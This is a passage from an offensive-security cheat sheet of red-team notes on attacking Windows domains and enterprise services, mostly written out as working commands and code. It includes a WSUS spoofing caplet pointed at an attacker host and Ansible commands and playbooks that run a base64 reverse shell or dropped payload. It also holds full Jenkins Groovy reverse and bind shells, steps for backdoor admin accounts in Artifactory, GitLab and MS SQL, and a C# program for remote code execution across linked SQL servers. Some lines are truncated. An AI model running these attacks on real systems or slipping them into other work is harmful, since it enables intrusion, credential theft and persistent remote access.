"We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the
user's serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket,
and then repair the serviceprincipalname value." (@harmj0y, ref)

PowerView3 > Get-DomainUser snovvcrash | select serviceprincipalname


PowerView3 > Set-DomainObject -Identity snovvcrash -SET @{serviceprincipalname='nonexistent/BL
PowerView3 > $User = Get-DomainUser snovvcrash
PowerView3 > $User | Get-DomainSPNTicket | fl
PowerView3 > $User | select serviceprincipalname
PowerView3 > Set-DomainObject -Identity snovvcrash -Clear serviceprincipalname

Downgrading Encryption Type (RC4)

https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-
requesting-rc4-encrypted-tgs-when-aes-is-enabled

https://vbscrub.com/tag/kerberos/

SCCM Abuse
System Center Configuration Manager

https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
https://labs.nettitude.com/blog/introducing-malsccm/
https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-exploring-the-attack-surface-of-sccm-
client-push-accounts
https://blog.xpnsec.com/unobfuscating-network-access-accounts/

Tools

https://github.com/Mayyhem/SharpSCCM

SMB
Server Message Block

Check for SMB vulnerablities with Nmap:

$ sudo nmap -sV --script-args=unsafe=1 --script smb-os-discovery 10.10.13.37 -p139,445


$ sudo nmap -n -Pn -sV --script 'smb-vuln*' 10.10.13.37 -p445

Fingerprint

https://book.hacktricks.xyz/pentesting/pentesting-smb#smb-server-version

Enumerate SMB version for old versions of Samba (for security reasons modern clients will not initiate
connection with legacy protocols in use):

$ sudo ngrep -i -d eth0 's.?a.?m.?b.?a.*[[:digit:]]' port 139


$ echo exit | smbclient -N -L 10.10.13.37 --option='client min protocol=LANMAN1'

Mounting
Mount:

$ sudo mount -t cifs '//127.0.0.1/Users' /mnt/smb -v -o user=snovvcrash,[pass='Passw0rd!']

Status:

$ mount -v | grep 'type cifs'


$ df -k -F cifs

Unmount:

$ sudo umount /mnt/smb

SMB Share with Null Authentication


Create an SMB share allowing null authentication.

Linux
/etc/samba/smb.conf
[global]
map to guest = bad user
server role = standalone server
usershare allow guests = yes
smb ports = 445

[smb]
comment = Samba
path = /srv/smb
guest ok = yes
read only = no
browsable = yes
force user = nobody

$ sudo service smbd restart


$ sudo chown -R nobody:root /srv/smb/
$ sudo chmod -R 777 /srv/smb/

Windows

https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

PS > mkdir C:\share


PS > icacls C:\share\ /T /grant Anonymous` logon:r
PS > icacls C:\share\ /T /grant Everyone:r
PS > New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
PS > REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPi
PS > REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionSh
PS > REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_D
PS > REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d

Hunt for Shares & Content

https://github.com/blacklanternsecurity/MANSPIDER
https://github.com/mitchmoser/SharpShares
https://github.com/SnaffCon/Snaffler
https://github.com/punk-security/SMBeagle

https://github.com/p0dalirius/FindUncommonShares
Tools

rpcclient

Check for null authentication:

$ rpcclient -N -L 127.0.0.1

With user creds:

$ rpcclient -U 'snovvcrash%Passw0rd!' 127.0.0.1

smbclient

Check for null authentication:

$ smbclient -N -L 127.0.0.1
$ smbclient -N '\\127.0.0.1\Data'

With user creds:

$ smbclient -U snovvcrash '\\127.0.0.1\Users' 'Passw0rd!'

Get all files recursively:

smb: \> recurse ON


smb: \> prompt OFF
smb: \> mget *

smbmap

$ smbmap -H 127.0.0.1
$ smbmap -H 127.0.0.1 -u anonymous
$ smbmap -H 127.0.0.1 -u '' -p ''
$ smbmap -H 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -R ShareName
$ smbmap -H 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -R ShareName -A .

RPC
Remote Procedure Call
https://github.com/p0dalirius/microsoft-rpc-fuzzing-tools

Tools

rpcclient

Check for null authentication:

$ rpcclient -N 127.0.0.1

With user creds:

$ rpcclient -U 'snovvcrash%Passw0rd!' 127.0.0.1

Token Manipulation

https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-
to-winlogon-exe-80696c8a73b
https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa

https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
https://xret2pwn.github.io//Access-Token-Part0x01/

https://xret2pwn.github.io//Building-Token-Vault-Part0x02/

Trusted Installer Token

https://github.com/googleprojectzero/sandbox-attacksurface-analysis-
tools/blob/main/NtObjectManager/NtTokenFunctions.ps1

https://github.com/rweijnen/Posh-Snippets/blob/master/DCOM-FixUp.ps1

PS > Install-Module -Name NtObjectManager -Confirm:$false


PS > Restart-Service TrustedInstaller
PS > $procId = (Get-Process TrustedInstaller).Id
PS > $token = Get-NtTokenFromProcess -ProcessId $procId
PS > $current = Get-NtThread -Current -PseudoHandle
PS > $ctx = $current.Impersonate($token)
PS > $impToken = Get-NtToken -Impersonation
PS > $impToken.Groups
Tools

https://github.com/dievus/msImpersonate

https://github.com/magnusstubman/tokenduplicator

Tokenvator

https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-a-tool-to-elevate-privilege-using-
windows-tokens/
https://www.netspi.com/blog/technical/adversary-simulation/tokenvator-release-2/

https://github.com/0xbadjuju/Tokenvator

SharpImpersonation

https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/
https://github.com/S3cur3Th1sSh1t/SharpImpersonation

Koh

https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6
https://github.com/GhostPack/Koh

User Hunt

http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
https://www.slideshare.net/harmj0y/i-hunt-sys-admins-20

PS > Find-DomainUserLocation -UserIdentity snovvcrash

Sessions Enum

http://www.harmj0y.net/blog/powershell/powershell-and-win32-api-access/
http://www.harmj0y.net/blog/powershell/powerquinsta/
Derivative Local Admins

http://www.harmj0y.net/blog/redteaming/local-group-enumeration/

https://medium.com/@sixdub/derivative-local-admin-cdd09445aac8

https://wald0.com/?p=14

http://www.offensiveops.io/tools/bloodhound-working-with-results/

Pen Testing Active Directory Environments (Varonis).pdf 3MB


PDF

Logon Events

https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/5175f64c111ffcc13250e3cf818f05ca46654af5/wmiutility.cs#L1
94
Search for IPs from where the user of interest logged on to current machine (event 4624):

PS > Get-EventLog Security -InstanceId 4624 | ? {$_.Message.Contains("snovvcrash")} | select -

WSUS
Windows Server Update Services

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus

HTTP MitM

https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-
Enterprise-Via-Windows-Update.pdf
https://github.com/GoSecure/pywsus

https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/
https://www.thehacker.recipes/systems-and-services/privilege-escalation/windows/wsus-attacks

Check:

PS > reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
WUServer REG_SZ http://wsus.megacorp.local:8530

PS > reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
UseWUServer REG_DWORD 0x1

Exploit:

$ python3 pywsus.py --host $ATTACKER_IP --port 8530 --executable /home/snovvcrash/www/PsExec64


$ sudo ./bettercap --iface $INTERFACE --caplet wsus.cap

wsus.cap
# Quick recon of the network
net.probe on

# Set the ARP spoofing


set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false

# Re-route traffic aimed at the WSUS server


set any.proxy.iface $INTERFACE
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_SERVER_IP
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530

# Control logging and verbosity


events.ignore endpoint
events.ignore net.sniff

# Start the modules


any.proxy on
arp.spoof on
net.sniff on

Local Proxy (LPE)

https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-
privilege-escalation-1-day/

WSUS + LDAPS NTLM Relay

https://www.gosecure.net/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-
services-wsus-to-enable-ntlm-relaying-attacks/

Tools

SharpWSUS

https://labs.nettitude.com/blog/introducing-sharpwsus/
https://github.com/nettitude/SharpWSUS

Zerologon
CVE-2020-1472

[PDF] Zerologon: Unauthenticated domain controller compromise by subverting Netlogon cryptography


(CVE-2020-1472) (Tom Tervoort)

[PDF] Understanding and Exploiting Zerologon (Lucideus)

Check:

https://github.com/SecuraBV/CVE-2020-1472

$ python3 zerologon_tester.py DC01 10.10.13.38

Exploit:

https://github.com/dirkjanm/CVE-2020-1472
https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2020-1472

Exploits above will break the domain! Use this technique by @dirkjanm to abuse Zerologon safely:

https://dirkjanm.io/a-different-way-of-abusing-zerologon/
$ sudo ntlmrelayx.py -t dcsync://DC01.megacorp.local -smb2support
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 DC02.megacorp

RODC Notes
Checking that a DC is a RODC (see if WRITABLE flag is present):

PS > nltest.exe /dsgetdc:megacorp.local


PS > nltest.exe /dsgetdc:megacorp.local /server:DC1

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/3a9ed16f-8014-45ae-80af-
c0ecb06e2db9
https://lists.samba.org/archive/samba-technical/2016-November/117016.html

https://github.com/gentilkiwi/mimikatz/blob/fe4e98405589e96ed6de5e05ce3c872f8108c0a0/mimikatz/m
odules/kuhl_m_lsadump.c#L2467

https://social.technet.microsoft.com/Forums/Lync/en-US/3f29f03e-9d9b-43ba-b628-3f0afc25352e/user-
amp-computer-authentication-through-rodc?forum=winserverDS

"When a user authenticates to an RODC a check is performed to see if the password is cached. If the
password is cached, the RODC will authenticate the user account locally. If the user’s password is not
cached, then the RODC forwards the authentication request to a writable Domain Controller which in turn
authenticates the account and passes the authenticated request back to the RODC. Once the user
account is authenticated, the RODC makes another request for the replication of the user’s password in a
unidirectional replication providing the account has been configured to allow replication. In order to allow
the user password to be cached on RODC, you could set up it by configuring the Password Replication
Policy."

So when authenticating at a RODC and Password Replication Policy rejects caching the machine
password, then STATUS_NO_TRUST_SAM_ACCOUNT may be met.

DevOps

Ansible

Enumeration
When on ansible controller:
$ cat /etc/passwd | grep ans
$ cat /etc/ansible/hosts
$ ansible --version

Execute Code
Using ad-hoc commands:

$ ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become

Malicious playbook example:

evil.yml
# ansible-playbook evil.yml

- name: Evil playbook


hosts: all
gather_facts: true
tasks:
- name: upload
copy:
src: /tmp/met
dest: /dev/shm/met
mode: a+x
- name: execute
shell: "nohup /dev/shm/met &"
async: 10
poll: 0

Crack the Vault


When vault-encrypted creds are discovered, the vault passwords can be cracked with hashcat:

$ /usr/share/john/ansible2john.py vuln.yaml > vault.in


$ hashcat -m 16900 -O -a 0 -w 4 --session=vault -o vault.out vault.in seclists/Passwords/darkc

The original password can then be decrypted with ansible:

$ cat vault.in
$ANSIBLE_VAULT;1.1;AES256
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000

$ cat vault.in | ansible-vault decrypt

Artifactory

https://keramas.github.io/2020/04/03/jfrog-ssrf-vulnerability.html

Default credentials 👉🏻 admin:password .

Brute Force access-admin

https://jfrog.com/knowledge-base/how-to-change-the-default-password-for-access-admin-user/
https://github.com/ffuf/ffuf-scripts

Brute force access-admin's password with ffuf:

$ echo -n access-admin > usernames.txt


$ ./ffuf_basicauth.sh usernames.txt passwords.txt | ffuf -c -u http://192.168.1.11:8081/artifa

Enumeration
Spot running processes:

$ ps aux | grep artifactory

Files location:

$ find /opt/jfrog/artifactory/var/data/artifactory/filestore

Backup location:

$ find /opt/jfrog/artifactory/var/backup/access
Compromise Database

$ mkdir /tmp/dbcopy
$ sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/dbcopy
$ sudo chmod 755 /tmp/dbcopy/derby
$ sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-10.15.1.3
ij> connect 'jdbc:derby:/tmp/dbcopy/derby';
ij> select * from access_users;

Add Admin Account

$ sudo bash -c "echo 'snovvcrash*=Passw0rd!' > /opt/jfrog/artifactory/var/etc/access/bootstrap

$ sudo chmod 600 /opt/jfrog/artifactory/var/etc/access/bootstrap.creds


$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl stop
$ sudo /opt/jfrog/artifactory/app/bin/artifactoryctl start
$ sudo grep "Create admin user" /opt/jfrog/artifactory/var/log/console.log

Containerization

Red Hat OpenShift

https://github.com/cherkavi/cheat-sheet/blob/master/openshift.md

Grant a low-priv user admin's privileges across the cluster via REST API:

curl -k -X POST "https://cluster.megacorp.local:8443/apis/rbac.authorization.k8s.io/v1/cluster


-H 'Authorization: Bearer <TOKEN>' \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
-d'
{
"kind": "ClusterRoleBinding",
"apiVersion": "rbac.authorization.k8s.io/v1",
"metadata": {
"name": "pwned",
"creationTimestamp": null
},
"subjects": [
{
"kind": "User",
"apiGroup": "rbac.authorization.k8s.io",
"name": "[email protected]"
}
],
"roleRef": {
"apiGroup": "rbac.authorization.k8s.io",
"kind": "ClusterRole",
"name": "admin"
}
}'

GitLab

https://devcraft.io/assets/hacktivitycon-slides.pdf
https://github.com/dotPY-hax/gitlab_RCE

SSRF > Redis > RCE (CE/EE)


CVE-2018-19571, CVE-2018-19585

https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293
https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/

https://www.exploit-db.com/exploits/49334

Also possible to use this payload (instead of IPv6) to bypass filter checks for localhost, but works only with
git:// scheme:

git://127.0.0.1:6379/%0a<REDIS_COMMANDS>

Path Traversal > LFI > RCE (CE/EE)


CVE-2020-10977

https://xakep.ru/2020/05/26/gitlab-exploit/
https://www.exploit-db.com/exploits/49076

Path Traversal > File Write > RCE (EE)


CVE-2019-19088

https://gitlab.com/gitlab-org/gitlab/-/issues/36029

gitlab-rails
Add new admin user from console:

$ sudo gitlab-rails console


irb(main):001:0 > ActiveRecord::Base.logger = Logger.new($stdout)
irb(main):002:0 > User.find(1)
=> #<User id:1 @root>
irb(main):003:0 > user = User.create(:username => 'snovvcrash', :password => 'Passw0rd!', :pas
irb(main):004:0 > user.save!
irb(main):005:0 > user.confirmation_token
=> "ZVrM4KsyEdSoTJvo8kx_"

Then activate the account by navigating to


https://gitlab.megacorp.local/users/confirmation?
confirmation_token=ZVrM4KsyEdSoTJvo8kx_ .

Grant a low-priv user admin's privileges via API:

# Check token priveleges


$ curl -sX GET -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "https://git.megacorp.local/api/v4/user" | jq
# Grant low-priv user admin's privileges
$ curl -sX PUT -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "https://git.megacorp.local/api/v4/users/$LOWP
# Revert low-priv user's original privileges
$ curl -sX PUT -H "PRIVATE-TOKEN: $ADMIN_TOKEN" "https://git.megacorp.local/api/v4/users/$LOWP

Jenkis

Script Console Abuse

https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
https://github.com/gquere/pwn_jenkins
"Manage Jenkis" > "Script Console" > Run.

Execute command:

exec groovy
exec.groovy
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'whoami'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell:

reverse.groovy
String host = "<LHOST>";
int port = <LPORT>;
String cmd = "/bin/bash"; // or "cmd.exe" for Windows

Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();


Socket s = new Socket(host, port);

InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();


OutputStream po = p.getOutputStream(), so = s.getOutputStream();

while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};

p.destroy();
s.close();

Bind shell:

bind.groovy
int port = <LPORT>;
String cmd="/bin/bash"; // or "cmd.exe" for Windows

Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();


Socket s = new java.net.ServerSocket(port).accept();

InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();


OutputStream po = p.getOutputStream(), so = s.getOutputStream();

while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};

p.destroy();
s.close();

DBMS
Database Management System

Tools

DBeaver

DBeaver Community

DbVisualizer

DbVisualizer

FireBird

https://www.infosecmatter.com/firebird-database-exploitation/

MS SQL
Create a new login, map it to the db_owner user and assign the sysadmin role:

CREATE LOGIN [snovvcrash] WITH PASSWORD=N'Passw0rd!';


CREATE USER [snovvcrash] FOR LOGIN [snovvcrash];
ALTER ROLE [db_owner] ADD MEMBER [snovvcrash];
EXEC master..sp_addrolemember @rolename=N'db_owner', @membername=N'snovvcrash';
EXEC master..sp_addsrvrolemember @rolename=N'sysadmin', @loginame=N'snovvcrash';
EXEC master..sp_addremotelogin 'SQLSRV01\SQLEXPRESS', 'snovvcrash';

Check the state of xp_cmdshell :

SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

Enable xp_cmdshell :

1> EXEC sp_configure 'show advanced options', 1


2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC xp_cmdshell 'whoami'
2> GO

Enumeration
Current login name (SQL Server login or Domain/Windows username, like sa ):

SELECT SYSTEM_USER;

Current database username (like msdb.dbo ):

SELECT USER;

Test if current server role is public or sysadmin :

SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');

List databases:
SELECT name FROM master..sysdatabases;

List linked servers:

EXEC sp_linkedservers;

List logins available for impersonation:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.g

UNC Path Injection

https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e

SQL > EXEC master..xp_dirtree '\\10.10.13.37\share\test.txt';


PowerUpSQL > Get-SQLQuery -Instance "SQLSRV01.megacorp.local,1433" -Query "EXEC master..xp_dir

Crawl Links

https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
https://blog.netspi.com/wp-content/uploads/2017/05/Technical-Article-Hacking-SQL-Server-Database-
Links-Setup-and-Attack-Guide.pdf
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

https://xakep.ru/2020/01/24/lateral-movement/#toc01.

Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 ->
SQLSRV01 -> SQLSRV02:

EXEC sp_serveroption 'SQLSRV01','rpc','true';


EXEC sp_serveroption 'SQLSRV01','rpc out','true';

EXEC ('select SYSTEM_USER;') AT [SQLSRV01];


EXEC ('EXEC (''select SYSTEM_USER;'') AT [SQLSRV02];') AT [SQLSRV01];

EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmds
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configu

EXEC ('EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';') AT [SQLSRV01];


EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV02];') AT
Abusing server links from C# code:

SqlCrawlLinks.cs
using System;
using System.Data.SqlClient;

namespace SqlCrawlLinks
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{

while (reader.Read()) { result += $"{reader[0]}\n"; }


result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}

static void Main(string[] args)


{
// Authenticate
string sqlServer = "SQLSRV01.corp1.com";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur
SqlConnection con = new SqlConnection(conString);

try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}

// List linked servers


string result = sqlQuery("EXEC sp_linkedservers;", con);
Console.WriteLine($"[*] Linked SQL servers:\n{result}");

// Enumerate current login on the linked server


result = sqlQuery("select login from openquery(\"SQLSRV02\", 'select SYSTEM_USER a
Console.WriteLine($"[*] Executing as the login {result} at SQLSRV02");
// Enable xp_cmdshell on the linked server
sqlQuery("EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC

// RCE via EXEC at on the linked server


result = sqlQuery("EXEC ('EXEC xp_cmdshell ''whoami'';') AT [SQLSRV02];", con);
Console.WriteLine($"[*] xp_cmdshell at SQLSRV02 via EXEC AT: {result}");

// RCE via OPENQUERY on the linked server


sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC sp_con
sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC xp_cmdshell ''cmd

// Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02
sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONF
sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'')

con.Close();
}
}

Crawl links with MSF:

msf > use exploit/windows/mssql/mssql_linkcrawler


msf exploit(windows/mssql/mssql_linkcrawler) > set RHOSTS 192.168.1.11
msf exploit(windows/mssql/mssql_linkcrawler) > set USERNAME sa
msf exploit(windows/mssql/mssql_linkcrawler) > set PASSWORD Passw0rd!
msf exploit(windows/mssql/mssql_linkcrawler) > set DEPLOY true
msf exploit(windows/mssql/mssql_linkcrawler) > set VERBOSE true
msf exploit(windows/mssql/mssql_linkcrawler) > run

Crawl links with PowerUpSQL:

PS > Get-SQLInstanceDomain | Get-SQLConnectionTest


PS > Get-SQLServerInfo -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLQuery -Instance "sqlsrv01.megacorp.local,1433" -Query "select * from openquery(""s
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433" -Query "SELECT * FROM mas
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local\SQLEXPRESS" -Username sa -Passw

External Scripts

https://docs.microsoft.com/en-us/sql/machine-learning/tutorials/quickstart-python-create-script?view=sql-
server-ver15

https://www.sqlshack.com/how-to-use-python-in-sql-server-2017-to-obtain-advanced-data-analytics/
Enable external scripts:

EXEC sp_configure 'external scripts enabled,1';

Run Python code:

EXEC sp_execute_external_script
@language=N'Python',
@script=N'
with open(''c:\\inetpub\\wwwroot\\web.config'', ''r'') as f:
print(f.read())
'

master.mdf

https://xpnsec.tumblr.com/post/145350063196/reading-mdf-hashes-with-powershell
https://github.com/xpn/Powershell-PostExploitation/tree/master/Invoke-MDFHashes
https://www.nucleustechnologies.com/blog/mdf-file-location-in-sql-server-2014-2016-2017/

https://github.com/BC-
SECURITY/Empire/blob/master/empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1

https://github.com/jschicht/RawCopy

PS > Invoke-NinjaCopy -Path "C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\D


PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.RawCore.dll")
PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.Framework.dll")
PS > . .\Get-MDFHashes.ps1
PS > Get-MDFHashes -mdf "C:\Windows\Temp\master.mdf"
$ hashcat -m 132 -O -a 0 -w 4 --session=mssql -o mssql.out mssql.in seclists/Passwords/darkc0d

C# Examples

https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/MSSQL/Program.cs

MSSQL.cs
using System;
using System.Data.SqlClient;

namespace MSSQL
{
class
{ Program
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}

static void Main(string[] args)


{

// Authenticate
string sqlServer = "SQLSRV01.megacorp.local";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur
SqlConnection con = new SqlConnection(conString);

try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}

